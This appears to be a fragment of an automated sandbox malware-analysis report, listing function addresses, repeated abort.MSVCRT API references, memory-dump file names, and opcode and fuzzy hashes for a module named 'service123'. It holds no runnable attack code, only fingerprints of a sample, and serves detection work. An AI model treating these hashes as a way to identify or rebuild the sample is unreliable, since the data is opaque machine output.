abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 83bd537ab51bbb04642edb181c785e6ca40c65c27a5533ad592c332ebf743bf3
Instruction ID: 7bdcedd6e1889b3270bfcb5e229e7cfc0016fe71517de085f5d34545b329704f
Opcode Fuzzy Hash: 83bd537ab51bbb04642edb181c785e6ca40c65c27a5533ad592c332ebf743bf3
Instruction Fuzzy Hash: 7A018CB1605205CBE304EF1CD5D1B56B7B0FB21308F009A58C180CBB05D739E428CF90

Function 6C842A6E Relevance: 42.1, APIs: 28, Instructions: 71COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a8a12afcd8c4143ca6680a2b01f04239cfbf8fb434f61dd26cbf770e6abb6118
Instruction ID: 0d81dd6c64a10cce62968817bc91f54d2b8b6a2fa65025fe79797e192be9df82
Opcode Fuzzy Hash: a8a12afcd8c4143ca6680a2b01f04239cfbf8fb434f61dd26cbf770e6abb6118
Instruction Fuzzy Hash: 1D0137B1A09205CBE714EF18D592B6AB7B1FB22348F019E58C5949BB05D739E428CF90

Function 6C842B13 Relevance: 42.1, APIs: 28, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3044391a11850a960b7e8e213e459b2476edd5b3361eaacffab8ca004e1578c4
Instruction ID: 8725b2f9c0aaf0dd12d79abafff45dd5562a1251a94184c2d1601a2a91d34b00
Opcode Fuzzy Hash: 3044391a11850a960b7e8e213e459b2476edd5b3361eaacffab8ca004e1578c4
Instruction Fuzzy Hash: F6F044B1A09209CBD714EF28D591B6AB7B1FB22308F019E58C0849BF06D778E428CF90

Function 6C8429B1 Relevance: 42.1, APIs: 28, Instructions: 67COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 97108860b06a5c14b7991704cc6ea8d1d210ca9be671c8350fb208715cce36bc
Instruction ID: 87125621afc7a6f512a5e2ace632f621c0635bab342435fd15ccefe3d6b7e8e8
Opcode Fuzzy Hash: 97108860b06a5c14b7991704cc6ea8d1d210ca9be671c8350fb208715cce36bc
Instruction Fuzzy Hash: 8CF067B1A09209CBD714EF28D1A5B6AB7B1FF22308F019E58C4449BF06D778E428CF90

Function 6C842AAD Relevance: 42.1, APIs: 28, Instructions: 65COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: b8bfa1db4009750d8a3df5737f9690f8f978486567ff1209415b2c0bba40e091
Instruction ID: 8b8516415f5ec1b14f7602a400e24b3b0bce5602df70cb19a80230bb6fc39914
Opcode Fuzzy Hash: b8bfa1db4009750d8a3df5737f9690f8f978486567ff1209415b2c0bba40e091
Instruction Fuzzy Hash: 0AF09AB19092098BC714EF28C19176AB771FF22308F019D58C4049BF06D739E428CFD0

Function 6C84B930 Relevance: 40.6, APIs: 27, Instructions: 135COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: af591924c112bc1363d8663039a3c636d423854c02f2622a1ac2647efe1321c6
Instruction ID: e4ac4ee8e9c640233dffdc8c6124ca9b0dba67d46fb7a472f09198f790c297ca
Opcode Fuzzy Hash: af591924c112bc1363d8663039a3c636d423854c02f2622a1ac2647efe1321c6
Instruction Fuzzy Hash: 7131D270649F0C9FD3208E59C6813AABBA5EB85354F44CD3ADA9487B42E334E864DB51

Function 6C84BFCC Relevance: 39.1, APIs: 26, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction ID: 79e699e638518214fd51e0a6d2855f866210a10971bac4e8a34b7622852ee46e
Opcode Fuzzy Hash: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction Fuzzy Hash: D9F020349CC82ECA93302B2D46108B9B33BBB4771CB99CCA2C4806BE2AE351D40BC641

Function 6C84BEE7 Relevance: 37.6, APIs: 25, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9440c331c3bb43e9ccbdb1b04a95b37ce64c2a53f679d96e1d4e82f279cf498f
Instruction ID: 8fbb110577e586b9734b434642904ad4919588ad6ebb1aaf08c2fb1f44b546e6
Opcode Fuzzy Hash: 9440c331c3bb43e9ccbdb1b04a95b37ce64c2a53f679d96e1d4e82f279cf498f
Instruction Fuzzy Hash: 5F016D73A19E2E07E3204F79C8E1375B6925F82318F09CE79CD7917E8AC674D809E650

Function 6C84BC1B Relevance: 37.6, APIs: 25, Instructions: 55COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
